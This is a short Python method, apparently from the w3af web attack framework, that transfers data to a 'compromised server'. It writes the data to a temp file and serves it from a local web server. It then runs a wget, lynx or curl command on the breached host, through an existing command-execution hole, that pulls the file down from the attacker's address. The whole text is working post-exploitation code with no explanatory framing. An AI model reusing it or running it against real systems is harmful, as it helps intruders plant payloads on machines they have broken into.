'This method is used to transfer the data_str from w3af to the
compromised server.'

def transfer(self, data_str, destination):

    if (not self._command):
        self.can_transfer()
    cmd_templates = {'wget': 'wget    http://%s:%s/%s    -O    %s', 'lynx': 'lynx    -source    http://%s:%s/%s    >    %s', 'curl': 'curl    http://%s:%s/%s    >    %s'}
    filename = rand_alpha(10)
    file_path = ((get_temp_dir() + os.path.sep) + filename)
    f = file(file_path, 'w')
    f.write(data_str)
    f.close()
    webserver.start_webserver(cf.cf.get('local_ip_address'), self._inbound_port, get_temp_dir())
    cmd_to_run = (cmd_templates[self._command] % (cf.cf.get('local_ip_address'), self._inbound_port, filename, destination))
    self._exec_method(cmd_to_run)
    os.remove(file_path)
    return self.verify_upload(data_str, destination)
